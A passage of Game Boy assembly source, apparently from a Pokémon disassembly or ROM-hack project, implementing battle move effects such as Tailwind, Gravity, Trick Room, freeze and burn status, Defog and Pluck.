ld a, e
ldh [hMultiplicand + 2], a
ld a, 25
ldh [hMultiplier], a
call Multiply
ld a, [hli]
ld b, [hl]
and a
jr z, .lt256
ld c, 2
cp 1
jr z, .lt512
ld c, 4
rrca
rr b
.lt512
rrca
rr b
; a should be 0
ld a, c
ldh [hDivisor], a
push bc
ld b, 4
call Divide
pop bc
.lt256
ld a, b
ldh [hDivisor], a
ld b, 4
call Divide
ldh a, [hQuotient + 3]
pop de
pop bc
ld d, a
cp -1
jr z, .max
inc d
ldh a, [hQuotient + 2]
and a
jr nz, .max
ld a, d
cp 151
ret c
.max
ld d, 150
ret
BattleCommand_tailwind:
ld hl, wPlayerTailwindCount
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wEnemyTailwindCount
.go
ld a, [hl]
and a
jp nz, AnimateAndPrintFailedMove2
ld [hl], 3
ld hl, TailwindText
call StdBattleTextbox
ldh a, [hBattleTurn]
and a
jr z, .player
farjump CalcEnemyStats
.player
farjump CalcPlayerStats
SetLastResortFlag:
ldh a, [hBattleTurn]
and a
ld a, [wCurMoveNum]
ld hl, wPlayerLastResortFlags
jr z, .okay
ld a, [wCurEnemyMoveNum]
ld hl, wEnemyLastResortFlags
.okay
ld b, a
ld a, 1
inc b
.loop
dec b
jr z, .done
add a
jr .loop
.done
or [hl]
ld [hl], a
ret
BattleCommand_lastresort:
ld a, 1
ld [wAttackMissed], a
ldh a, [hBattleTurn]
and a
ld a, [wPlayerLastResortFlags]
ld hl, wBattleMonMoves
jr z, .go
ld a, [wEnemyLastResortFlags]
ld hl, wEnemyMonMoves
.go
ld d, a
; make sure mon knows last resort
push hl
xor a
ccf
push af
ld e, NUM_MOVES
.check_loop
ld a, [hli]
and a
jr z, .done
ld bc, LAST_RESORT
call CompareMove2
jr z, .check_hit
pop af
adc a
ld b, a
and d
ld a, b
push af
jr z, .fail2
.check_loop_2
dec e
jr nz, .check_loop
.done
pop af
pop hl
ld a, [wAttackMissed]
and a
jr nz, .fail
; make sure the user knows more than one move
inc hl
ld a, [hl]
and a
jr z, .fail
ret
.fail2
pop af
pop hl
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
.check_hit
xor a
ld [wAttackMissed], a
jr .check_loop_2
TookDamageFlag:
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
ret nz
ldh a, [hBattleTurn]
and a
ld hl, wPlayerTookDamage
jr nz, .got_turn_damage_flag
ld hl, wEnemyTookDamage
.got_turn_damage_flag
ld a, 1
ld [hl], a
ret
BattleCommand_focuspunch:
ldh a, [hBattleTurn]
and a
ld a, [wPlayerTookDamage]
jr z, .go
ld a, [wEnemyTookDamage]
.go
and a
ret z
farcall AnimateFailedMove
ld hl, LostFocusText
call StdBattleTextbox
farjump EndMoveEffect
BattleCommand_revenge:
ldh a, [hBattleTurn]
and a
ld a, [wPlayerTookDamage]
jr z, .go
ld a, [wEnemyTookDamage]
.go
and a
ret z
ld a, d
add a
ld d, a
ret
BattleCommand_powerswap:
ld a, ATTACK
call SwapStatStage
ld a, SP_ATTACK
call SwapStatStage
call CalcBothMonStats
call AnimateCurrentMove2
ld hl, SwitchedStatChangesText
jp StdBattleTextbox
BattleCommand_guardswap:
ld a, DEFENSE
call SwapStatStage
ld a, SP_DEFENSE
call SwapStatStage
call CalcBothMonStats
call AnimateCurrentMove2
ld hl, SwitchedStatChangesText
jp StdBattleTextbox
BattleCommand_heartswap:
xor a
.loop
push af
call SwapStatStage
pop af
inc a
cp EVASION + 1
jr nz, .loop
call AnimateCurrentMove2
ld hl, SwitchedStatChangesText
jp StdBattleTextbox
SwapStatStage:
ld c, a
ld b, 0
ld hl, wPlayerStatLevels
add hl, bc
ld d, [hl]
push hl
ld hl, wEnemyStatLevels
add hl, bc
ld a, [hl]
ld [hl], d
pop hl
ld [hl], a
ret
CalcBothMonStats:
ldh a, [hBattleTurn]
push af
farcall CalcPlayerStats
farcall CalcEnemyStats
pop af
ldh [hBattleTurn], a
ret
SetShadowForce:
ldh a, [hBattleTurn]
and a
ld hl, wPlayerUnderwater
jr z, .got_underwater
ld hl, wEnemyUnderwater
.got_underwater
ld a, 2
ld [hl], a
farcall _DisappearUser
ret
SetUnderwater:
ldh a, [hBattleTurn]
and a
ld hl, wPlayerUnderwater
jr z, .got_underwater
ld hl, wEnemyUnderwater
.got_underwater
ld a, 1
ld [hl], a
farcall _DisappearUser
ret
BattleCommand_weightdamage:
push bc
push de
; get weight from dex entry
ldh a, [hBattleTurn]
and a
ld hl, wEnemyMonSpecies
jr z, .got_species
ld hl, wBattleMonSpecies
.got_species
ld b, [hl]
farcall GetMonWeight
ld b, d
ld c, e
; get base damage
ld hl, .weight_damage_table
.damage_loop
ld a, [hli]
ld e, a
ld a, [hli]
ld d, a
cp b
jr c, .next
jr nz, .got_it
ld a, e
cp c
jr nc, .got_it
.next
inc hl
jr .damage_loop
.got_it
pop de
ld d, [hl]
pop bc
ret
.weight_damage_table
dwb 219, 20
dwb 551, 40
dwb 1102, 60
dwb 2204, 80
dwb 4409, 100
dwb -1, 120
BattleCommand_facade:
; facade
ld hl, wBattleMonStatus
ldh a, [hBattleTurn]
and a
jr z, .ok
ld hl, wEnemyMonStatus
.ok
bit PSN, [hl]
jr nz, .double
bit PAR, [hl]
jr nz, .double
bit BRN, [hl]
ret z
.double
ld a, d
add a
jr c, .max
ld d, a
ret
.max
ld b, $ff
ret
INCLUDE "engine/battle/move_effects/brick_break.asm"
BattleCommand_metalburst:
ld a, 1
ld [wAttackMissed], a
ld a, BATTLE_VARS_LAST_COUNTER_MOVE_OPP
call GetBattleVar
and a
ret z
ld b, a
callfar GetMoveEffect
ld a, b
cp EFFECT_COUNTER
ret z
cp EFFECT_MIRROR_COAT
ret z
cp EFFECT_METAL_BURST
ret z
farcall BattleCommand_resettypematchup
ld a, [wTypeMatchup]
and a
ret z
farcall CheckOpponentWentFirst
ret z
ld a, BATTLE_VARS_LAST_COUNTER_MOVE_OPP
call GetBattleVar
ld de, wStringBuffer1
call GetMoveData
ld a, [wStringBuffer1 + MOVE_POWER]
and a
ret z
; BUG: Move should fail with all non-damaging battle actions
ld hl, wCurDamage
ld a, [hli]
or [hl]
ret z
ld a, [hld]
ld c, a
ld a, [hl]
ld b, a
ld hl, 0
add hl, bc
rrc b
rr c
ld a, h
add hl, bc
add b
push af
ld a, h
ld [wCurDamage], a
ld a, l
ld [wCurDamage + 1], a
pop af
jr nc, .capped
ld a, $ff
ld [wCurDamage], a
ld [wCurDamage + 1], a
.capped
xor a
ld [wAttackMissed], a
ret
INCLUDE "engine/battle/move_effects/spikes.asm"
TypeMatchupSpecialCases2:
ld a, b
ld b, d
ld d, a
ld e, c
call TypeMatchupSpecialCases
ld [wTypeMatchup], a
ld a, b
ld b, d
ld d, a
ld c, e
ret
TypeMatchupSpecialCases:
call .magnet_rise
ret c
call .gravity_roost
ret c
call .miracle_eye
ret c
ld a, 10
ret
.magnet_rise
ldh a, [hBattleTurn]
and a
ld a, [wPlayerMagnetRiseCount]
jr nz, .m_r_go
ld a, [wEnemyMagnetRiseCount]
.m_r_go
and a
ret z
ld a, GROUND
cp b
jr z, .yes
and a
ret
.gravity_roost
ld a, GROUND
cp b
jr nz, .no
ld a, [wGravityCount]
and a
jr nz, .no
ldh a, [hBattleTurn]
and a
ld a, [wPlayerRoost]
jr nz, .g_r_go
ld a, [wEnemyRoost]
.g_r_go
and a
ret nz
; check Levitate
ldh a, [hBattleTurn]
and a
ld a, [wBattleMonSpecies]
jr nz, .lev_go
ld a, [wEnemyMonSpecies]
.lev_go
push de
call IsLevitateMon
pop de
jr c, .yes
; check Gravity/Roost typing
ld a, FLYING
cp d
jr z, .yes
cp e
jr z, .yes
and a
ret
.miracle_eye
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVar
bit SUBSTATUS_MIRACLE_EYE, a
ret z
ld a, PSYCHIC
cp b
jr nz, .no
ld a, DARK
cp d
jr z, .yes
cp e
jr z, .yes
and a
ret
.no
and a
ret
.yes
xor a
scf
ret
BattleCommand_miracleeye:
ld a, [wAttackMissed]
and a
jr nz, .failed
call CheckHiddenOpponent
jr nz, .failed
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVarAddr
bit SUBSTATUS_MIRACLE_EYE, [hl]
jr nz, .failed
set SUBSTATUS_MIRACLE_EYE, [hl]
call AnimateCurrentMove2
ld hl, IdentifiedText
jp StdBattleTextbox
.failed
jp FailMove
BattleCommand_magnetrise:
ld a, [wGravityCount]
and a
jr nz, .fail
ldh a, [hBattleTurn]
and a
ld hl, wPlayerMagnetRiseCount
jr z, .go
ld hl, wEnemyMagnetRiseCount
.go
ld a, [hl]
and a
jr nz, .fail
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVar
bit SUBSTATUS_INGRAIN, a
jr nz, .fail
ld a, 5
ld [hl], a
call AnimateCurrentMove2
ld hl, MagnetRiseText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
BattleCommand_gravity:
ld a, [wGravityCount]
and a
jr nz, .fail
ldh a, [hBattleTurn]
and a
ld hl, wPlayerMagnetRiseCount
jr z, .go
ld hl, wEnemyMagnetRiseCount
.go
xor a
ld [hl], a
ld a, 5
ld [wGravityCount], a
call AnimateCurrentMove2
ld hl, GravityText
call StdBattleTextbox
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVarAddr
bit SUBSTATUS_FLYING, [hl]
ret z
res SUBSTATUS_FLYING, [hl]
res SUBSTATUS_CHARGED, [hl]
ld hl, CouldntStayAirborneText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
GetGravityAccuracyMultiplier:
ld a, [wGravityCount]
and a
ret z
ld h, 0
ld l, b
ld c, b
ld b, 0
add hl, hl
add hl, hl
add hl, bc
xor a
ldh [hDividend + 0], a
ldh [hDividend + 1], a
ld a, h
ldh [hDividend + 2], a
ld a, l
ldh [hDividend + 3], a
ld a, 3
ldh [hDivisor], a
ld a, 4
call Divide
ldh a, [hQuotient + 2]
and a
jr nz, .overflow
ldh a, [hQuotient + 3]
ld b, a
ret
.overflow
ld b, -1
ret
BattleCommand_trickroom:
ld hl, wTrickRoomCount
ld a, [hl]
and a
jr z, .set_trick_room
xor a
ld [hl], a
ld hl, UserRestoredDimensionText
jp StdBattleTextbox
.set_trick_room
ld a, 5
ld [hl], a
ld hl, UserTwistedDimensionText
jp StdBattleTextbox
BattleCommand_healblock:
ld hl, wPlayerHealBlockCount
ldh a, [hBattleTurn]
and a
jr nz, .go
ld hl, wEnemyHealBlockCount
.go
ld a, [hl]
and a
jr nz, .fail
ld a, 5
ld [hl], a
ld hl, HealBlockText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
BattleCommand_payback:
farcall CheckOpponentWentFirst
ret z
ld a, d
add a
ld d, a
ret
CheckIfTargetIsFireType:
ld b, FIRE
farcall CheckIfTargetIsType
ret
CheckIfTargetIsIceType:
ld b, ICE
farcall CheckIfTargetIsType
ret
BattleCommand_freeze:
; freeze
ld hl, DoesntAffectText
ld a, [wTypeModifier]
and $7f
jp z, .failed
call CheckIfTargetIsIceType
jp z, .failed
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
bit FRZ, a
jp nz, .frozen
ld a, [wTypeModifier]
and $7f
jp z, .didnt_affect
farcall GetOpponentItem
ld a, b
cp HELD_PREVENT_FREEZE
jr nz, .no_item_protection
ld a, [hl]
ld [wNamedObjectIndexBuffer], a
call GetItemName
farcall AnimateFailedMove
ld hl, ProtectedByText
jp StdBattleTextbox
.no_item_protection
ldh a, [hBattleTurn]
and a
jr z, .dont_sample_failure
ld a, [wLinkMode]
and a
jr nz, .dont_sample_failure
ld a, [wInBattleTowerBattle]
and a
jr nz, .dont_sample_failure
ld a, [wPlayerSubStatus5]
bit SUBSTATUS_LOCK_ON, a
jr nz, .dont_sample_failure
call BattleRandom
cp 25 percent + 1 ; 25% chance AI fails
jr c, .failed
.dont_sample_failure
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
and a
jr nz, .failed
ld a, [wAttackMissed]
and a
jr nz, .failed
farcall CheckSubstituteOpp
jr nz, .failed
ld c, 30
call DelayFrames
call AnimateCurrentMove2
ld a, $1
ldh [hBGMapMode], a
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
set FRZ, [hl]
call UpdateOpponentInParty
call UpdateBattleHuds
ld hl, WasFrozenText
call StdBattleTextbox
ld hl, UseHeldStatusHealingItem
jp CallBattleCore2
.frozen
farcall AnimateFailedMove
ld hl, AlreadyFrozenText
jp StdBattleTextbox
.didnt_affect
farcall AnimateFailedMove
farjump PrintDoesntAffect
.failed
farjump PrintDidntAffect2
BattleCommand_burn:
; burn
ld hl, DoesntAffectText
ld a, [wTypeModifier]
and $7f
jp z, .failed
call CheckIfTargetIsFireType
jp z, .failed
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
bit BRN, a
jp nz, .burned
ld a, [wTypeModifier]
and $7f
jp z, .didnt_affect
farcall GetOpponentItem
ld a, b
cp HELD_PREVENT_BURN
jr nz, .no_item_protection
ld a, [hl]
ld [wNamedObjectIndexBuffer], a
call GetItemName
farcall AnimateFailedMove
ld hl, ProtectedByText
jp StdBattleTextbox
.no_item_protection
ldh a, [hBattleTurn]
and a
jr z, .dont_sample_failure
ld a, [wLinkMode]
and a
jr nz, .dont_sample_failure
ld a, [wInBattleTowerBattle]
and a
jr nz, .dont_sample_failure
ld a, [wPlayerSubStatus5]
bit SUBSTATUS_LOCK_ON, a
jr nz, .dont_sample_failure
call BattleRandom
cp 25 percent + 1 ; 25% chance AI fails
jr c, .failed
.dont_sample_failure
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
and a
jr nz, .failed
ld a, [wAttackMissed]
and a
jr nz, .failed
farcall CheckSubstituteOpp
jr nz, .failed
ld c, 30
call DelayFrames
call AnimateCurrentMove2
ld a, $1
ldh [hBGMapMode], a
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
set BRN, [hl]
call UpdateOpponentInParty
ld hl, ApplyBrnEffectOnAttack
call CallBattleCore2
call UpdateBattleHuds
ld hl, WasBurnedText
call StdBattleTextbox
ld hl, UseHeldStatusHealingItem
jp CallBattleCore2
.burned
farcall AnimateFailedMove
ld hl, AlreadyBurnedText
jp StdBattleTextbox
.didnt_affect
farcall AnimateFailedMove
farjump PrintDoesntAffect
.failed
farjump PrintDidntAffect2
BattleCommand_traptarget:
; traptarget
ld a, [wAttackMissed]
and a
ret nz
ld hl, wEnemyWrapCount
ld de, wEnemyTrappingMove
ldh a, [hBattleTurn]
and a
jr z, .got_trap
ld hl, wPlayerWrapCount
ld de, wPlayerTrappingMove
.got_trap
ld a, [hl]
and a
ret nz
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
ret nz
call BattleRandom
; trapped for 2-5 turns
and %11
inc a
inc a
inc a
ld [hl], a
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld [de], a
call GetMoveIndexFromID
ld b, h
ld c, l
ld hl, .Traps
.find_trap_text
ld a, [hli]
cp c
ld a, [hli]
jr nz, .next_trap_text
cp b
jr z, .found_trap_text
.next_trap_text
inc hl
inc hl
jr .find_trap_text
.found_trap_text
ld a, [hli]
ld h, [hl]
ld l, a
jp StdBattleTextbox
.Traps:
dw BIND, UsedBindText ; 'used BIND on'
dw WRAP, WrappedByText ; 'was WRAPPED by'
dw FIRE_SPIN, FireSpinTrapText ; 'was trapped!'
dw CLAMP, ClampedByText ; 'was CLAMPED by'
dw WHIRLPOOL, WhirlpoolTrapText ; 'was trapped!'
dw SAND_TOMB, SandTombTrapText ; 'was trapped by SAND TOMB!'
dw MAGMA_STORM, MagmaStormTrapText ; 'became trapped by...'
BattleCommand_crushgrip:
call BattleCommand_switchturn
ld d, 120
call BattleCommand_lifepower
jp BattleCommand_switchturn
WonderGuardCheck:
push bc
push de
call .check
pop de
pop bc
ret
.check
; special case, if using Fire Fang, it works!
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld bc, FIRE_FANG
call CompareMove2
jr z, .ok
; otherwise, get relevant information
ldh a, [hBattleTurn]
and a
ld de, wBattleMonType
ld a, [wBattleMonSpecies]
jr nz, .go
ld de, wEnemyMonType
ld a, [wEnemyMonSpecies]
.go
call GetPokemonIndexFromID
ld a, h
cp HIGH(SHEDINJA)
jr nz, .ok
ld a, l
cp LOW(SHEDINJA)
jr nz, .ok
ld a, [de]
ld [wTypeMatchupBuffer], a
inc de
ld a, [de]
ld [wTypeMatchupBuffer + 1], a
farcall2 GetCurrentMoveType2
ld [wTypeMatchupBuffer + 2], a
farcall CheckAnyTypeMatchup
ld a, [wTypeMatchup]
cp 11
jr nc, .ok
and a
ret
.ok
scf
ret
BattleCommand_yawn:
; fail if opponent has status already
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
and a
jr nz, .fail
; fail if opponent has sub
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
jr nz, .fail
; fail if opponent is uproaring
ld a, BATTLE_VARS_SUBSTATUS6_OPP
call GetBattleVar
bit SUBSTATUS_UPROAR, a
jr nz, .fail
; fail if already yawned or opponent has safeguard
ldh a, [hBattleTurn]
and a
ld hl, wPlayerScreens
ld de, wPlayerYawnTimer
jr nz, .go
ld hl, wEnemyScreens
ld de, wEnemyYawnTimer
.go
ld a, [de]
and a
jr nz, .fail
bit SCREENS_SAFEGUARD, [hl]
jr nz, .fail
; set yawn
ld a, 2
ld [de], a
call AnimateCurrentMove2
ld hl, MadeDrowsyText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
DoGrudgeEffect:
ldh a, [hBattleTurn]
and a
ld a, [wCurPlayerMove]
jr z, .ok1
ld a, [wCurEnemyMove]
.ok1
ld [wNamedObjectIndexBuffer], a
call GetMoveName
call .drain_mon_pp
ld hl, LostPPDueToGrudgeText
call StdBattleTextbox
ret
.drain_mon_pp
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonPP
jr z, .go
ld hl, wEnemyMonPP
.go
call .drain_pp
ldh a, [hBattleTurn]
and a
ld hl, wPartyMon1PP
ld a, [wCurBattleMon]
jr z, .player
ld a, [wBattleMode]
dec a
jr z, .wild
ld hl, wOTPartyMon1PP
ld a, [wCurOTMon]
.player
call GetPartyLocation
push hl
farcall CheckMimicUsed
pop hl
ret c
jr .drain_pp
.wild
ld hl, wWildMonPP
.drain_pp
ldh a, [hBattleTurn]
and a
ld a, [wCurMoveNum]
jr z, .ok
ld a, [wCurEnemyMoveNum]
.ok
ld c, a
ld b, 0
add hl, bc
ld a, [hl]
and PP_UP_MASK
ld [hl], a
ret
BattleCommand_doubleminimizedamage:
; doubleminimizedamage
ld hl, wEnemyMinimized
ldh a, [hBattleTurn]
and a
jr z, .ok
ld hl, wPlayerMinimized
.ok
ld a, [hl]
and a
ret z
ld hl, wCurDamage + 1
sla [hl]
dec hl
rl [hl]
ret nc
ld a, $ff
ld [hli], a
ld [hl], a
ret
BattleCommand_grudge:
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVarAddr
set SUBSTATUS_GRUDGE, [hl]
call AnimateCurrentMove2
ld hl, BearAGrudgeText
jp StdBattleTextbox
INCLUDE "engine/battle/move_effects/u_turn.asm"
BattleCommand_secretpoweranim:
call GetEnvironmentType
ld hl, SecretPowerTypeData
ld de, 6
call IsInArray
jr nc, .error
inc hl
ld a, [hli]
ld h, [hl]
ld l, a
call GetMoveIDFromIndex
push af
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVarAddr
pop af
ld [hl], a
farcall BattleCommand_moveanim
ret
.error
call AnimateAndPrintFailedMove2
farcall EndMoveEffect
ret
BattleCommand_secretpowereffect:
call GetEnvironmentType
ld hl, SecretPowerTypeData
ld de, 6
call IsInArray
jr nc, .error
inc hl
inc hl
inc hl
ld a, [hli]
push af
ld a, [hli]
ld h, [hl]
ld l, a
pop af
rst FarCall
ret
.error
call AnimateAndPrintFailedMove2
farcall EndMoveEffect
ret
SecretPowerLowerAccuracy:
ld b, ACCURACY
ld a, STAT_LOWER | STAT_SECONDARY | STAT_TARGET
farcall2 FarChangeStat
ret
SecretPowerLowerAttack:
ld b, ATTACK
ld a, STAT_LOWER | STAT_SECONDARY | STAT_TARGET
farcall2 FarChangeStat
ret
SecretPowerSleep:
xor a
ld [wNumHits], a
farcall CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
and a
ret nz
; ld a, [wTypeModifier]
; and $7f
; ret z
farcall GetOpponentItem
ld a, b
cp HELD_PREVENT_SLEEP
ret z
ld a, [wPlayerSubStatus6]
bit SUBSTATUS_UPROAR, a
ret nz
ld a, [wEnemySubStatus6]
bit SUBSTATUS_UPROAR, a
ret nz
ld a, [wEffectFailed]
and a
ret nz
farcall SafeCheckSafeguard
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
ld d, h
ld e, l
farjump SetSleep
INCLUDE "data/moves/secret_power.asm"
INCLUDE "engine/battle/move_effects/magnitude.asm"
CheckUserTruant:
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonSpecies
ld a, [wPlayerPseudoAbilityFlags]
jr z, .go
ld hl, wEnemyMonSpecies
ld a, [wEnemyPseudoAbilityFlags]
.go
bit TRUANT, a
jr z, .no
ld a, [hl]
call GetPokemonIndexFromID
; is it Slakoth?
ld a, h
cp HIGH(SLAKOTH)
jr nz, .not_slakoth
ld a, l
cp LOW(SLAKOTH)
jr z, .yes
.not_slakoth
; is it Slaking?
ld a, h
cp HIGH(SLAKING)
jr nz, .no
ld a, l
cp LOW(SLAKING)
jr z, .yes
.no
and a
ret
.yes
farcall EndMoveEffect
ld hl, TruantText
call StdBattleTextbox
; if charging+not visible, appear sprite
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVar
and (1 << SUBSTATUS_FLYING) | (1 << SUBSTATUS_UNDERGROUND)
jr z, .appear
ldh a, [hBattleTurn]
and a
ld a, [wPlayerUnderwater]
jr z, .got_underwater
ld a, [wEnemyUnderwater]
.got_underwater
and a
jr z, .finish
.appear
farcall AppearUserRaiseSub
.finish
scf
ret
BattleCommand_checkwish:
ld hl, wPlayerWishCount
ldh a, [hBattleTurn]
and a
jr z, .ok
ld hl, wEnemyWishCount
.ok
ld a, [hl]
and a
ret z
cp 1
ret nz
ld b, wish_command
farjump SkipToBattleCommand
BattleCommand_wish:
farcall CheckUserIsCharging
jr nz, .AlreadyCharging
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld b, a
ld a, BATTLE_VARS_LAST_COUNTER_MOVE
call GetBattleVarAddr
ld [hl], b
ld a, BATTLE_VARS_LAST_MOVE
call GetBattleVarAddr
ld [hl], b
.AlreadyCharging
ld hl, wPlayerWishCount
ldh a, [hBattleTurn]
and a
jr z, .GotCount
ld hl, wEnemyWishCount
.GotCount
ld a, [hl]
and a
jr nz, .failed
ld a, 3
ld [hl], a
farcall BattleCommand_lowersub
farcall BattleCommand_movedelay
ld hl, MadeAWishText
call StdBattleTextbox
farcall BattleCommand_raisesub
farjump EndMoveEffect
.failed
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_magiccoat:
farcall CheckOpponentWentFirst
jr nz, .fail
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVarAddr
set SUBSTATUS_MAGIC_COAT, [hl]
call AnimateCurrentMove2
ld hl, MagicCoatText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
BattleCommand_snatch:
farcall CheckOpponentWentFirst
jr nz, .fail
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVarAddr
set SUBSTATUS_SNATCH, [hl]
call AnimateCurrentMove2
ld hl, WaitsForMoveText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
BattleCommand_checkmagiccoat:
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVarAddr
bit SUBSTATUS_MAGIC_COAT, [hl]
ret z
res SUBSTATUS_MAGIC_COAT, [hl]
ld hl, BouncedBackText
push hl
jr MagicCoatSnatchDoMove
BattleCommand_checksnatch:
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVarAddr
bit SUBSTATUS_SNATCH, [hl]
ret z
res SUBSTATUS_SNATCH, [hl]
ld hl, SnatchedMoveText
push hl
MagicCoatSnatchDoMove:
; get move name
ld a, BATTLE_VARS_MOVE
call GetBattleVar
ld [wNamedObjectIndexBuffer], a
call GetMoveName
; display bounce back/snatch text
pop hl
call StdBattleTextbox
; backup and replace enemy move
call BattleCommand_switchturn
ld a, BATTLE_VARS_MOVE
call GetBattleVarAddr
ld a, [hl]
push af
push hl
call BattleCommand_switchturn
ld a, BATTLE_VARS_MOVE
call GetBattleVar
ld b, a
call BattleCommand_switchturn
pop hl
ld [hl], b
push hl
farcall UpdateMoveData
farcall ResetTurn
; restore old move
pop hl
pop af
ld [hl], a
farcall UpdateMoveData
call BattleCommand_switchturn
ret
BattleCommand_suckerpunch:
farcall CheckOpponentWentFirst
jr nz, .fail
call BattleCommand_switchturn
ld a, BATTLE_VARS_MOVE_TYPE
call GetBattleVar
push af
call BattleCommand_switchturn
pop af
and CATEGORY_MASK
cp STATUS
jr z, .fail
ret
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_luckychant:
ldh a, [hBattleTurn]
and a
ld hl, wPlayerLuckyChantCount
jr z, .go
ld hl, wEnemyLuckyChantCount
.go
ld a, [hl]
and a
jr nz, .fail
ld a, 5
ld [hl], a
call AnimateCurrentMove2
ld hl, ShieldedFromCritText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
BattleCommand_defog:
ldh a, [hBattleTurn]
and a
ld hl, wEnemyScreens
jr z, .go
ld hl, wPlayerScreens
.go
; reflect
bit SCREENS_REFLECT, [hl]
jr z, .skip_reflect
ld bc, REFLECT
call .show_blew_away_text
.skip_reflect
; light screen
bit SCREENS_LIGHT_SCREEN, [hl]
jr z, .skip_light_screen
ld bc, LIGHT_SCREEN
call .show_blew_away_text
.skip_light_screen
; safeguard
bit SCREENS_SAFEGUARD, [hl]
jr z, .skip_safeguard
ld bc, SAFEGUARD
call .show_blew_away_text
.skip_safeguard
; spikes
ld a, [hl]
and MASK_SPIKES
jr z, .skip_spikes
ld bc, SPIKES
call .show_blew_away_text
.skip_spikes
; toxic spikes
ld a, [hl]
and MASK_TOXIC_SPIKES
jr z, .skip_toxic_spikes
ld bc, TOXIC_SPIKES
call .show_blew_away_text
.skip_toxic_spikes
; stealth rock
bit SCREENS_STEALTH_ROCK, [hl]
jr z, .skip_stealth_rock
ld bc, STEALTH_ROCK
call .show_blew_away_text
.skip_stealth_rock
xor a
ld [hl], a
ret
.show_blew_away_text
push hl
ld h, b
ld l, c
call GetMoveIDFromIndex
ld [wNamedObjectIndexBuffer], a
call GetMoveName
ld hl, DefogBlewAwayText
call StdBattleTextbox
pop hl
ret
BattleCommand_psychoshift:
; heal user
ld a, BATTLE_VARS_STATUS
call GetBattleVarAddr
ld a, [hl]
and a
jp z, .fail
ld b, a
xor a
ld [hl], a
; status opponent
; remember old opponent status, if it didn't change the move failed
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
push af
push bc
ld a, b
cp (1 << PSN)
jr z, .poison
cp (1 << BRN)
jr z, .burn
cp (1 << FRZ)
jr z, .freeze
cp (1 << PAR)
jr z, .paralyze
;sleep
farcall BattleCommand_sleeptarget
jr .finish
.poison
; don't poison steel types
; (poison type check is already taken care of)
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonType
jr nz, .got_type
ld hl, wEnemyMonType
.got_type
ld a, [hli]
cp STEEL
jr z, .fail2
ld a, [hl]
cp STEEL
jr z, .fail2
; check for badly poison
ld a, BATTLE_VARS_SUBSTATUS5
call GetBattleVarAddr
bit SUBSTATUS_TOXIC, [hl]
jr nz, .toxic
farcall BattleCommand_poison
jr .finish
.toxic
; fake using toxic
res SUBSTATUS_TOXIC, [hl]
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVarAddr
push af
push hl
ld a, EFFECT_TOXIC
ld [hl], a
farcall BattleCommand_poison
pop hl
pop af
ld [hl], a
jr .finish
.burn
call BattleCommand_burn
jr .finish
.freeze
call BattleCommand_freeze
jr .finish
.paralyze
farcall BattleCommand_paralyze
.finish
pop bc
pop af
ld c, a
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
cp c
jr nz, .update_party
; if it failed, restore old status
ld a, BATTLE_VARS_STATUS
call GetBattleVarAddr
ld [hl], b
.update_party
call UpdateBattleMonInParty
call UpdateEnemyMonInParty
ret
.fail2
pop bc
pop af
.fail
jp AnimateAndPrintFailedMove2
BattleCommand_pluck:
ldh a, [hBattleTurn]
and a
ld hl, wEnemyMonItem
ld de, wEnemyRecycleMemory
ld a, [wCurOTMon]
jr z, .go
ld hl, wBattleMonItem
ld de, wPlayerRecycleMemory
ld a, [wCurBattleMon]
.go
; get recycle memory location now
push hl
ld h, 0
ld l, a
add hl, de
ld d, h
ld e, l
pop hl
; is opponent's item a berry?
ld a, [hl]
push de
push hl
ld hl, .berry_list
ld de, 3
call IsInArray
ld b, h
ld c, l
pop hl
pop de
ret nc
; consume berry, put it into recycle memory
ld a, [hl]
ld [de], a
xor a
ld [hl], a
; update item in party
ldh a, [hBattleTurn]
and a
ld a, [wCurBattleMon]
ld hl, wPartyMon1Item
jr nz, .do_party
ld a, [wBattleMode]
